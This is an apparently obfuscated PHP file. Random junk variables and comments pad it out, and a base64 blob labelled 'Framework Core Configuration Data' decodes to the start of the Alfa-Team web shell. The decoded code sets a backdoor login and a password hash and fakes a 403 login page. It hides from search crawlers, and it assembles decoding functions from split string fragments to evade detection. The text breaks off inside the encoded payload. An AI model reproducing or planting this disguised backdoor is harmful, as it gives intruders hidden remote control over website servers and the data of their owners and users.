// GxTnuI86r5l1uahicU4R0sMZRmytkdyIcQsD65W3u3TPzEzQOS0paXTgS0kgTfswsoQSi1TRl
$hxtrNxFIp2rpbpS='v7hZmR6cqoQIawhtOZe0PEQVP8km';

$zcNmf04wTV10i='guFGPrz7ym0X0Fy68tPo358TiKZErINYvZuW';
// 3YrfkfnwCHhZVt8t8VjCC82B74EUgcV2lTWjzQHRRKVNkrbtu1KOIB
$Jx2Wh7zEpi6='sv053eD8fEDeuqoOGXhg3lW0rvVlw';
// emW1YN118upuzKGZLBgwgoCDhfzFD1rK2UCSyTOKP3CZhnbBcEuE61KSP33n4LLmtCZ2UQJ
$Uw17NwtfXL='0yYMFgUShlsJjaQ0hVQbdar04';

// aSQQV3hvbCmOWqks4756ZYdzqqOfUNFyvtZrjlOqbSiSRDfqDUPORKgKmfmm3xZJwD8WJVHyN
$qm307C0NVTGw='gD6QSkP3c4Wop0tcnR1JjccIlOvs8eF';
// Klg9Xo0hQcoerUbAKxMjQoBIJDrLQMA1855KpqpmiVZBMU
$TfjBlizqDw3VZqY='NAZqCZuXVh6AGPnQseoVp0fIoIE3g';
$Ek5tlrqKfuNm='PBQMuPI0CZE7W2MX8OPP52EiGBPkc6Oj9swXfS0TSJIiDjLSwLDFcn4lk';
// yBftATQn8VkzL80Gz45aOlalthbMySgg3vxeQMlDLcPQK9QKOvgRc6IX2HJpxAw
$Q1abKgwmctCPnL='ond0BxPUJlX11zo8q4ACWbn6wzKr';
// udWxA73Lz3Rj06zq7mOn6jT2MEaujGpM6D9K9Ym4vX0fjk8OSrv8TxtQaZp5ffWYxU
$WkU798C='8pyb6tfzbHld6p8gH46FkU0YAPkNqEwgfZ0atVJn2dbQ5z4ZJJX';

// EtVlG2xnPm8KBu7mPgMc84B1vRmNmHi3Lm70PFsiOkKriGJAXCnXSydC2Wsw2mqMq78fkd1KZFiH7
$YNm2jN2mNXxbw='NoGuVeIrpeZhF1KOiR2jjHDQiw8NzkL5IExXZrfcJMTicgZ3K5uq';

// EtaTMaXQ2z403BZ5pfhr4VX0lzXxaoLvazAiMZzN4cSEIBxVRATHXk4SqAA6H7Jh1bkHdOn
$b2CfwebHro6ZgG='ShN4fn0KZafIBB5pTgFAO8l5tskNZ9zJeJvKv9MQ';

$G5JYG3fS='46zGhCECaZAR4KX97ZXqn2Suor7YzayFQUlDMuMR1kQ1qcNs';

$dBUBux='tsTpW1n5OXH3asZeMpb9319zA2lAWHa7NaTUIqxUS1PWt';
$HxxgTpSSMt1PAWF='1ckRhWS3MmVIHKu7mkeKAw5b3oJmb7a';
// WflktYzVkRktfBfHSAk8b39njr2Uw4qYBtzwzN5QjQBRLKARg2RjFN6tlfZaEpyEnyxdqS338
$EP6rizS9dq='IbIhSDu0Ni2YK6rWLtRTE1rzuUpzUKOR35mLvVlqyECdtypFb1egNMZ4R12S';
// KrJHOt9qpTLzDjY5BM5oWRQn6g4VoYdZdF8onmpUOIzLNf2MjMFYt8FcG
$H5jhzEPLi='5IomzcrIACA4Vnv3zmA6KcNaIW8O';

// QVt5Wg42DhUL2bHxW9yEQxQi5DiXgAQBfFw26NB50BQ
$adj2124v9r='RhqeGKfs9UezFcsdIQ6Hx81Sv947M';
$dNRP1pAmVypjitz='YRxmNir1ZXsXa8wa9Wlt4MUpT57a8GWK0fEvFgV';
// 6coFPZsk4UOmJXaeS3n4Wbnh53lAPoVF6MDHfJfHBShUIG1rIPP
$kghMKmSHPIU4LsV='mhX43dkYULJDKXWLGTTZzmMsHkY4sfgX5mZQAa0SnufY3idmmS2';
// YGu1wjAhwmTFZwy4vGkAbRg5YfoSKw7q9berPtZqPzBXplTz2ixYmVN2VZ3YLQWRbmB8RN8C
$mwxQH6R='MxoOEgmSaX32bR14tDKpRL1usCPZ0tQbBxU0KCeQiGEJt9';
// l5LCwidCJX4EAmqGxUePdrJ9GUV9d1t1HrA1x9mLwTNopZoLlq7VUf
$Ncm6bib5fVj='grV4BI1Gwa6FvhvpLUxgSIP4tZqSyynfVJ1lstQiv61awGyTAjUrsUa1';
$ZgiBtzeo3Xhw='gfX8I1SRGqZ5va9ckYTFrVj0LVp7tPmmVcKHZDhsA1GjI';
// ClW3VV9q5o9KKPJ9ZAjl1GPy502G77pXMoJjy6VObrtTT2uI4YFfWBV6CHqHAUYNG
$b7nAFmPLBw='qaWu1nS67kX3OEm4ftBs6kT3Lf0hVqfkDAOKMoxhS1vIPfxYzCUFdTu5';
$Ef5sURA6fV='K5T4JTdvPWnKHYqr1K0oQ37VQKm';
// WwQbZpZD65m4y3M3hURXbhKsq1RhM6WLeO8cIZwjplHq9K8D85GePoriWb6t7ZMgLJAu7d3Sx3HeigE
$pZGuYhp7LQjsY='oZzwUIuxK3Cpsf8JD93TvfpDmw';

// XZl4NTPhgbjNo2JgsaXPrLQBLxZwq3VUuKClH4xJAR40XkR6WtyWaeDSvHG2G4MvaSdo8IPR
$kNqpFtXl3y='PIoFJLNJjN6AcTK508fWKePORm8vllV2svGMytnk3DjnLIx1qG';
// XiUwauJ8vbfLbMVon4r7GlvBFDdC7e6PPGyCfDRMh
$KzHkcILW35ooL='LTAaYXJqIfV46yiMSpjdQlBAwTQdHQ10Ljkazp';

// 6ClwFvWTT5fiKAUFZswOvDL4jJcpLboZ9qsJkaDO1ddbxCWG5huhLn4PeScKTJULi90Yr
$chTdjgzncngm='dSJXkM6YHMtxwbSdczlISQnsDLFe';
// pVROUrNl80hJEnFuX46eff4pWmDAY7BfwP2EdJOIhkWoNs4kDGeTIfpJg8KnM
$OBo0PE3KukvbS='k6yfDzqlFPpM3jzj3m0NdCxmhFPzoyvKo1tmDOxcm4jqJUifHd9rd83X7';
// MDmZmFMfqfsGgQKBBKrBQsoDtdhXbg55zsS2arkrMaf23d4zYbR00KKOZQggEsE9nA
$pC4hyy0='XKpWWslDOP6IG6VxAHEQDwCCreHVZddm6Znt2sf8lMwhNewwUpe';
$kOquRjPNZX6TlY='36hjTvNdtslFI4QzTAIambHWTRWMcRyMeg4X5amaGnDahnzmE3zAFql1rNR5';

// FSXUtBiUaYE7YgzP2MtrdH13zeFC9foCt2wuHfHXexKOz5pbMU28hBegp8JvVqI9lWq6PUt34Hts
$XsNIMZps4='0RC1K92GLxaNkwbiA2HUtcDMcxIYD08RbuFUXE5bQ';
$ioYUYezpWf3='TiBiHbeatubESEymTxeeHpyVKcEMAXLrSu6bNWvkP';

// INyWg6sSumKzbU8aj1T7l5siImwa6XiMwCFzdiHR8T
$mz44WMFZz='eeJ7UX75zU1Ays8dgyiN5AoQAvH5EmIRsLhR85';
// Eor0eQb4u0tvYLJJXTGssYrBx04xQIn2AKKt7z14jcXu
$mmKYMeyDmsv92='fvRnYYUFKbvpMgKJj1u5KYhlchEEZoeTjkSiIKcpKA8Nlesij9NCokCZ';
// uckx2TdRufsL66k7VQQWaZV9HCDiipt1FQzQ4oaLm
$LYKhaxiKEw='xb3dgN9QV0vNXWnJX8CikXSJDBhTS4BLsLJMlkDj8pv';
// PXDFx0C690IE8Jpz3QpNRZgEfzerN7UP3JXiHMhVSeBEQ
$UMVrhj='iCkzPJCPIXPzRWwvqrEKkqTTg4tbIeT9aanJ';
$MP2AX6JqrKvYvD='vUIx6NBTFbQAkodWW7EM0pmRuUDvuUcUo8TjP6b3Ibfkjk4';
// Fj3yhhDrA13zsN9faPR5nnxBaeYgLjOOJz0Rk2aS1U8gBy
$JQQH04nqkCxYAUx='P6VMqq1MC516xgjE9XiVISR6tOilb';
$nvEw11O='WE00qdcYKH4wQwdAHl1DHziNivpGucUqZ7jjJlmRpbjd';

// Nw7N6W1I720YVpJuaZMZn8ICtA8DvbzjYhaiJ6JfcszKNVLEtvPQxm6c9I8h1MMKrW0tUNtWVpBae
$ejiYl3HHe1kUj='Xu43YrFftij2mynIgFyzrAWjCftIaW';
// h9yUSVmCsTWl2G12w8t3IPVBIT064pPIzv2EU1wufMyIDxlxa3jVepUcaeAR1I0
$t6AfLNjyYp='IzgVSu4V1jsM3KLSsLidoM9EZJNcKkCFk';
$dYlBQPAbnbHCbT='fg6iVHqLH9d3lb4c8TT13m7YQ96nVdqAno';

// AJMHAwzOUdFhOuOqT80aRPWxa8K07z67OdKdeRqW5Vl5YJ5k9jcjMaBxThcUe8l84KABKs7R9qKlF
$uAus7jgvEUI='tSaDmzOJ23fgEeke7P89LpETA7YwgUQQhwUAfFw20HIa31DutzDo';
// vBSj7qNFBeWRCXV3tvPatxYT0696s9lplLreCp19ut1Ic8NqegCsZM1JrrRZpUX031xnaVZ
$MjZ0nczEbJZzGd='C5mqfDC4UjGWY2lHx24dig7SlqjQ0qXr2f';
$Za2OBzpKbL='GRDHZNWVsuTDTDImfmFWOVEiCWu';

// 4yWbinMa5IA0bZUx8HraC3WNQb1bf0b4By9YVCDWybmOuvPC0t9TRbbPRAOAiNRHAVcap0D2erq
$lNqXJZElwJIt='4tDBpstT4pG40hodLKmg0V514kypHTOwZ';
$Mkt7Fuxs9y='rGGrgMJTv90hnGJ0aQigZLhazHeO4UhqxwOZbBRv8W';
// GwEeNgPKxIsBMGdz3SkevP5QRzFgs2toBY7IaqA9Ne7o
$aAoB04F0JmsSlBh='PQ6OWCd7NzWZ5VEFaVGsKLZV0a8J5';
// LwjN5fGqR6hCWnTzU6TgS2aK0ZSwcHp1r69EpxDQEHpyEjLVaki8jOVu1fosRRB
$pAQuX8B5hQpJnT='eEZsrg1h0m53zJUqnm3lzi7xKmBymRXquhF8SqaHJ';
// nhv1CTWRV0IUnNMISTnwLzMavjnHpWta7JfgklgoRYDL2VKiLrFAfP1
$LLx516l='RtJgoMGn4YzB8qoolWJjZXskFZGkwKNib7HeVVgUDOwf4Sk2sIrRu';
$ut6c6dsaL0RG='0ENVTGEDQxkifpWyXLlQdeDQ9Qw63mYpJjFx';
// urt1mTPeIx3cbpYudOGOR0OCotvsKSgON1BgW5N8dw
$iuKTcg='6abaLkziizvpHBeSR0zCsrHHirYi3OIxQCdcyeYSH';

// oqnesPBOUugQTn8pl7w7eR1efsjW9CNlnL91mTuQDH7zg8tvQtp5uKXU9AEig1MthkLrHwN0
$BJSRaQtbPKIpE6='GUvNALvlIa8EhCRvpV98LC5kc8ketMMDD8pV4sc2K7rC9q';
// 4HZOMrGWNyYJFY6zlyVNYCi8UoVpy4ua2dKa9ig5zOi4ylvucMVcpHXRVldwTGyB9l4Zo
$fS7E8iKcI='Hn1RCugqQhJ0O2OiA34UauZJjAtscukPsilGj5FtIulpeqK3UkajBb';
$sXTHra7aQAuMArH='n9vcAUE8cXF7PWbLvaeEpIuB77';
$X9iqlu306N2gh='DjnusfrcxTb0fF7lAGrA4XXgBvjlj1nel';
// KLliceTpCfhWlQbFkJLtpykxDoV6rVLuU4a69e7uIuHLtdw64Mh
$JKaRTFjvqg3sDYA='0jSV2IgGFlJWC5hHxBRlEFW47GT4r8np';
// MydUBnhM0wY7Zep9R2eKENgxltMzHimE4q80JOEMtT8Iv1
$MKnWqRHkM04I2Y='X2i5QxiNzmjldExNa35bE9SJ3dsNsQZmsJU1kN';

$oOX54quarSO='kQ65CqztUxHlNx4UOAyv700PGbcsbSN9uXkq3ozB7Ntw2DFo2NGy';
$wzNTlrnslmv0R4f='PlbMy02U95gMIxehBiftNSIuVgOitFC47otauKMZJlyOQm';
// qEinRA5mSmlPfFrZdljpAIivWvbRFafruoD2kHdJJuIHVEqC2Cd1Xy4iz
$gccR4fq3='DctrOklxSjbakWsRe23BT0jOqp';
// MlrMd6WFFjJLHJNWLmHw7VLINGaF5a5B4hvmQS8G3E7TZlbdN
$I5HLy5N4POSvxO='FjWWdHy5sxuJ8gkS00Yx48XFaIy0dqtvv2PzzzfqFJcqM1bmA1smsNE8FaH';
$Qy11GFr='IzQIprzVotOMxkVeJOifKsKytAF56tDasBali0TtCfY2K05VbGm5XzdlYxv';
$ZHdooyqezSd='3vsAHEaRlDW8sl7Zq2XaY6xQWqZ';
// fXdUEqZXMtbL7LY5jiIFwRsPtabrOo6Sa0oVGCWEJxtXtH
$tt6ZdReyj='eVtBP1bh6pzlXEVjmGkqSknKWwAGun6cgqZbQhYNZgJvDa5A1oi9o';
$zQdDNDt='khZFQLFMkLGJDyB3C6iCxpClaIUZ5Z4spGKsTi1ZxqNPa5w2CrLKqePs';

// LWk0SASxLOAxrxyE8UAgHiKtynS83A62HIi3JlRZrtuGT2nYDTKwQfjU7DO8
$x4M1tJW='ft53dFA00CA8pWiJAxnbWAa5uFi7G3d';
$KoFNgswntDzoc9='vOUFCd4UAziXZ3A2fdKT5YZCqkciBhkqup45uOF7H';

$yJGw9b='wbawrxkpxpqZMYM33UEQRiWA6b2sXycGblxBAQsLa6OSXvCyrKYLU28Wu8hs';
// 8pVIcveu3RxzSrrvbRgX9y35OQ5QZX6ZYjoWuF9ISbiyytRCjXbYgB9FYbLoBhI6cHcidkC4j
$GAe7Rkr='bp3MzixCj5jTFon9dVInweT9v';
$wWieZybkPk4='sO3nGNc75dfQ7t9jvO1yVHSZWpvn539Qye2PpprVcEhecXDeR9cT3E6B2';
$azlx7xNDht9Zb='RoSshqBx0MrJ9yHUOTqGlvyUooOHlyVq';

// Framework Core Configuration Data
$V2GYmnSTM1TL = 'LyoKCUF1dGhvcjogCWkvQWxmYS1UZWFtCglUZWxlZ3JhbTogCWh0dHBzOi8vdGVsZWdyYW0ubWUvCglZb3VUdWJlOiAJaHR0cHM6Ly95b3V0dWJlLmNvbS8KCUdtYWlsOgkJQGdtYWlsLmNvbQoJRGF0ZToJCU1vbmRheSwgU2VwdGVtYmVyIDE0LCAyMDIwCiovCiRHTE9CQUxTWydvWmdOeXBvUFJVJ10gPSBhcnJheSgKICAgICd1c2VybmFtZScgPT4gJ2FsZmEnLAogICAgJ3Bhc3N3b3JkJyA9PiAnYTZmNDUyZWMzMjkzZDdmYjcyYzViNjc3MjU3YjIwZWMnLC8vbWQ1KGVoc2FuKQogICAgJ3NhZmVfbW9kZScgPT4gJzAnLAogICAgJ2xvZ2luX3BhZ2UnID0+ICc0MDMnLAogICAgJ3Nob3dfaWNvbnMnID0+ICcxJywKICAgICdwb3N0X2VuY3J5cHRpb24nID0+IGZhbHNlLAogICAgJ2NnaV9hcGknID0+IHRydWUsCik7CgokQ1dwcFVESnh1ZiA9ICdmdScgLiAnbicgLiAnY3QnIC4gJ2lvbl8nIC4gJ2UnIC4gJ3hpc3QnIC4gJ3MnOwokYXp0SnRhZlVYbSA9ICdjaGEnIC4gJ3InIC4gJ0MnIC4gJ28nIC4gJ2QnIC4gJ2UnIC4gJ0EnIC4gJ3QnIC4gJyc7CiRPVnBHTnFxRlpzID0gJ2UnIC4gJ3YnIC4gJ2FsJzsKJHBzREV3R2hzeGcgPSAnZ3onIC4gJ2luZicgLiAnbGF0ZSc7CgppZiAoISRDV3BwVURKeHVmKCdiJyAuICdhJyAuICdzZTY0JyAuICdfZW4nIC4gJ2MnIC4gJ29kZScgLiAnJykpCnsKICAgIGZ1bmN0aW9uIHZjbnZTQ1pnQnooJGRhdGEpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRkYXRhKSkgcmV0dXJuOwogICAgICAgICRiNjQgPSAnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nOwogICAgICAgICRvMSA9ICRvMiA9ICRvMyA9ICRoMSA9ICRoMiA9ICRoMyA9ICRoNCA9ICRiaXRzID0gJGkgPSAwOwogICAgICAgICRhYyA9IDA7CiAgICAgICAgJGVuYyA9ICcnOwogICAgICAgICR0bXBfYXJyID0gYXJyYXkoKTsKICAgICAgICBpZiAoISRkYXRhKQogICAgICAgIHsKICAgICAgICAgICAgcmV0dXJuICRkYXRhOwogICAgICAgIH0KICAgICAgICBkbwogICAgICAgIHsKICAgICAgICAgICAgJG8xID0gJGF6dEp0YWZVWG0oJGRhdGEsICRpKyspOwogICAgICAgICAgICAkbzIgPSAkYXp0SnRhZlVYbSgkZGF0YSwgJGkrKyk7CiAgICAgICAgICAgICRvMyA9ICRhenRKdGFmVVhtKCRkYXRhLCAkaSsrKTsKICAgICAgICAgICAgJGJpdHMgPSAkbzEgPDwgMTYgfCAkbzIgPDwgOCB8ICRvMzsKICAgICAgICAgICAgJGgxID0gJGJpdHMgPj4gMTggJiAweDNmOwogICAgICAgICAgICAkaDIgPSAkYml0cyA+PiAxMiAmIDB4M2Y7CiAgICAgICAgICAgICRoMyA9ICRiaXRzID4+IDYgJiAweDNmOwogICAgICAgICAgICAkaDQgPSAkYml0cyAmIDB4M2Y7CiAgICAgICAgICAgICR0bXBfYXJyWyRhYysrXSA9IGNoYXJBdCgkYjY0LCAkaDEpIC4gY2hhckF0KCRiNjQsICRoMikgLiBjaGFyQXQoJGI2NCwgJGgzKSAuIGNoYXJBdCgkYjY0LCAkaDQpOwogICAgICAgIH0KICAgICAgICB3aGlsZSAoJGkgPCBzdHJsZW4oJGRhdGEpKTsKICAgICAgICAkZW5jID0gaW1wbG9kZSgkdG1wX2FyciwgJycpOwogICAgICAgICRyID0gKHN0cmxlbigkZGF0YSkgJSAzKTsKICAgICAgICByZXR1cm4gKCRyID8gc3Vic3RyKCRlbmMsIDAsICgkciAtIDMpKSA6ICRlbmMpIC4gc3Vic3RyKCc9PT0nLCAoJHIgfHwgMykpOwogICAgfQogICAgZnVuY3Rpb24gY2hhckNvZGVBdCgkZGF0YSwgJGNoYXIpCiAgICB7CiAgICAgICAgcmV0dXJuIG9yZChzdWJzdHIoJGRhdGEsICRjaGFyLCAxKSk7CiAgICB9CiAgICBmdW5jdGlvbiBjaGFyQXQoJGRhdGEsICRjaGFyKQogICAgewogICAgICAgIHJldHVybiBzdWJzdHIoJGRhdGEsICRjaGFyLCAxKTsKICAgIH0KfQplbHNlCnsKICAgIGZ1bmN0aW9uIHZjbnZTQ1pnQnooJHMpCiAgICB7CiAgICAgICAgJGIgPSAnYicgLiAnYScgLiAnc2U2NCcgLiAnX2VuJyAuICdjJyAuICdvZGUnIC4gJyc7CiAgICAgICAgcmV0dXJuICRiKCRzKTsKICAgIH0KfQppZiAoISRDV3BwVURKeHVmKCdiJyAuICdhJyAuICdzZScgLiAnNicgLiAnNCcgLiAnX2QnIC4gJ2Vjb2QnIC4gJ2UnIC4gJycpKQp7CiAgICBmdW5jdGlvbiB6UnRTSHNiVHpWKCRpbnB1dCkKICAgIHsKICAgICAgICBpZiAoZW1wdHkoJGlucHV0KSkgcmV0dXJuOwogICAgICAgICRrZXlTdHIgPSAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0iOwogICAgICAgICRjaHIxID0gJGNocjIgPSAkY2hyMyA9ICIiOwogICAgICAgICRlbmMxID0gJGVuYzIgPSAkZW5jMyA9ICRlbmM0ID0gIiI7CiAgICAgICAgJGkgPSAwOwogICAgICAgICRvdXRwdXQgPSAiIjsKICAgICAgICAkaW5wdXQgPSBwcmVnX3JlcGxhY2UoIlteQS1aYS16MC05XCtcL1w9XSIsICIiLCAkaW5wdXQpOwogICAgICAgIGRvCiAgICAgICAgewogICAgICAgICAgICAkZW5jMSA9IHN0cnBvcygka2V5U3RyLCBzdWJzdHIoJGlucHV0LCAkaSsrLCAxKSk7CiAgICAgICAgICAgICRlbmMyID0gc3RycG9zKCRrZXlTdHIsIHN1YnN0cigkaW5wdXQsICRpKyssIDEpKTsKICAgICAgICAgICAgJGVuYzMgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOwogICAgICAgICAgICAkZW5jNCA9IHN0cnBvcygka2V5U3RyLCBzdWJzdHIoJGlucHV0LCAkaSsrLCAxKSk7CiAgICAgICAgICAgICRjaHIxID0gKCRlbmMxIDw8IDIpIHwgKCRlbmMyID4+IDQpOwogICAgICAgICAgICAkY2hyMiA9ICgoJGVuYzIgJiAxNSkgPDwgNCkgfCAoJGVuYzMgPj4gMik7CiAgICAgICAgICAgICRjaHIzID0gKCgkZW5jMyAmIDMpIDw8IDYpIHwgJGVuYzQ7CiAgICAgICAgICAgICRvdXRwdXQgPSAkb3V0cHV0IC4gY2hyKChpbnQpJGNocjEpOwogICAgICAgICAgICBpZiAoJGVuYzMgIT0gNjQpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSAkb3V0cHV0IC4gY2hyKChpbnQpJGNocjIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkZW5jNCAhPSA2NCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJG91dHB1dCA9ICRvdXRwdXQgLiBjaHIoKGludCkkY2hyMyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGNocjEgPSAkY2hyMiA9ICRjaHIzID0gIiI7CiAgICAgICAgICAgICRlbmMxID0gJGVuYzIgPSAkZW5jMyA9ICRlbmM0ID0gIiI7CiAgICAgICAgfQogICAgICAgIHdoaWxlICgkaSA8IHN0cmxlbigkaW5wdXQpKTsKICAgICAgICByZXR1cm4gJG91dHB1dDsKICAgIH0KfQplbHNlCnsKICAgIGZ1bmN0aW9uIHpSdFNIc2JUelYoJHMpCiAgICB7CiAgICAgICAgJGIgPSAnYicgLiAnYScgLiAnc2UnIC4gJzYnIC4gJzQnIC4gJ19kJyAuICdlY29kJyAuICdlJyAuICcnOwogICAgICAgIHJldHVybiAkYigkcyk7CiAgICB9Cn0KCmZ1bmN0aW9uIF9fWlc1amIyUmxjZygkcykKewogICAgcmV0dXJuIHZjbnZTQ1pnQnooJHMpOwp9CmZ1bmN0aW9uIF9fWkdWamIyUmxjZygkcykKewogICAgcmV0dXJuIHpSdFNIc2JUelYoJHMpOwp9CgokR0xPQkFMU1snREJfTkFNRSddID0gJEdMT0JBTFNbJ29aZ055cG9QUlUnXTsKCmZvcmVhY2ggKCRHTE9CQUxTWydEQl9OQU1FJ10gYXMgJGtleSA9PiAkdmFsdWUpCnsKCSRwcmVmaXggPSBzdWJzdHIoJGtleSwgMCwgMik7CglpZiAoJHByZWZpeCA9PSAidXMiKQoJewoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInVzZXIiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJ1c2VyX3JhbmQiXSA9ICRrZXk7Cgl9CgllbHNlaWYgKCRwcmVmaXggPT0gInBhIikKCXsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJwYXNzIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsicGFzc19yYW5kIl0gPSAka2V5OwoJfQoJZWxzZWlmICgkcHJlZml4ID09ICJzYSIpCgl7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsic2FmZW1vZGUiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJzYWZlbW9kZV9yYW5kIl0gPSAka2V5OwoJfQoJZWxzZWlmICgkcHJlZml4ID09ICJsbyIpCgl7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsibG9naW5fcGFnZSJdID0gJHZhbHVlOwoJCSRHTE9CQUxTWydEQl9OQU1FJ11bImxvZ2luX3BhZ2VfcmFuZCJdID0gJGtleTsKCX0KCWVsc2VpZiAoJHByZWZpeCA9PSAic2giKQoJewoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInNob3dfaWNvbnMiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJzaG93X2ljb25zX3JhbmQiXSA9ICRrZXk7Cgl9CgllbHNlaWYgKCRwcmVmaXggPT0gInBvIikKCXsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJwb3N0X2VuY3J5cHRpb24iXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJwb3N0X2VuY3J5cHRpb25fcmFuZCJdID0gJGtleTsKCX0KCWVsc2VpZiAoJHByZWZpeCA9PSAiY2ciKQoJewoJCSRHTE9CQUxTWydEQl9OQU1FJ11bImNnaV9hcGkiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJjZ2lfYXBpX3JhbmQiXSA9ICRrZXk7Cgl9Cn0KCnVuc2V0KCRHTE9CQUxTWydvWmdOeXBvUFJVJ10pOwoKaWYgKCFpc3NldCgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pKSBleGl0KCk7CgppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7JHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwiU2x1cnAiLCJNU05Cb3QiLCJpYV9hcmNoaXZlciIsIllhbmRleCIsIlJhbWJsZXIiLCJib3QiLCJzcGlkZXIiKTtpZihwcmVnX21hdGNoKCcvJy5pbXBsb2RlKCd8JywkdXNlckFnZW50cykuJy9pJywkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXtoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTtleGl0O319CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWyd1c2VyJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3VzZXJcJ10nKTsKaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Bhc3MnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wncGFzc1wnXScpOwppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2FmZW1vZGUnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnc2FmZW1vZGVcJ10nKTsKaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ2xvZ2luX3BhZ2UnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnbG9naW5fcGFnZVwnXScpOwppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddKSlleGl0KCckR0xPQkFMU1tcJ0RCX05BTUVcJ11bXCdzaG93X2ljb25zXCddJyk7CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydwb3N0X2VuY3J5cHRpb24nXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wncG9zdF9lbmNyeXB0aW9uXCddJyk7CmRlZmluZSgiX19BTEZBX1ZFUlNJT05fXyIsICI0LjEiKTsKZGVmaW5lKCJfX0FMRkFfVVBEQVRFX18iLCAiMiIpOwpkZWZpbmUoIl9fQUxGQV9DT0RFX05BTUVfXyIsICJUZXNsYSIpOwpkZWZpbmUoIl9fQUxGQV9EQVRBX0ZPTERFUl9fIiwgIkFMRkFfREFUQSIpOwpkZWZpbmUoIl9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXyIsIChpc3NldCgkR0xPQkFMU1siREJfTkFNRSJdWyJwb3N0X2VuY3J5cHRpb24iXSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbiJdPT10cnVlP3RydWU6ZmFsc2UpKTsKZGVmaW5lKCJfX0FMRkFfU0VDUkVUX0tFWV9fIiwgX19BTEZBX1BPU1RfRU5DUllQVElPTl9fP19BbGZhU2VjcmV0S2V5KCk6JycpOwokR0xPQkFMU1snX19BTEZBX0NPTE9SX18nXSA9IGFycmF5KAoJCSJzaGVsbF9ib3JkZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmhlYWRlciIgPT4gImJvcmRlcjogN3B4IHNvbGlkIHtjb2xvcn0iLAoJCQkJIiNtZXVubGlzdCIgPT4gImJvcmRlci1jb2xvcjoge2NvbG9yfSIsCgkJCQkiI2hpZGRlbl9zaCIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn0iLAoJCQkJIi5hamF4YXJlYSIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn0iLAoJCQkJIi5mb290IiA9PiAiYm9yZGVyLWNvbG9yOiB7Y29sb3J9IiwKCQkJKQoJCSksCgkJImhlYWRlcl92YXJzIiA9PiAiIzI3OTc5QiIsCgkJImhlYWRlcl92YWx1ZXMiID0+ICIjNjdBQkRGIiwKCQkiaGVhZGVyX29uIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9vZmYiID0+ICIjZmYwMDAwIiwKCQkiaGVhZGVyX25vbmUiID0+ICIjMDBGRjAwIiwKCQkiaG9tZV9zaGVsbCIgPT4gIiNmZjAwMDAiLAoJCSJob21lX3NoZWxsOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5ob21lX3NoZWxsOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImJhY2tfc2hlbGwiID0+ICIjZWZiZTczIiwKCQkiYmFja19zaGVsbDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuYmFja19zaGVsbDpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJoZWFkZXJfcHdkIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9wd2Q6aG92ZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIi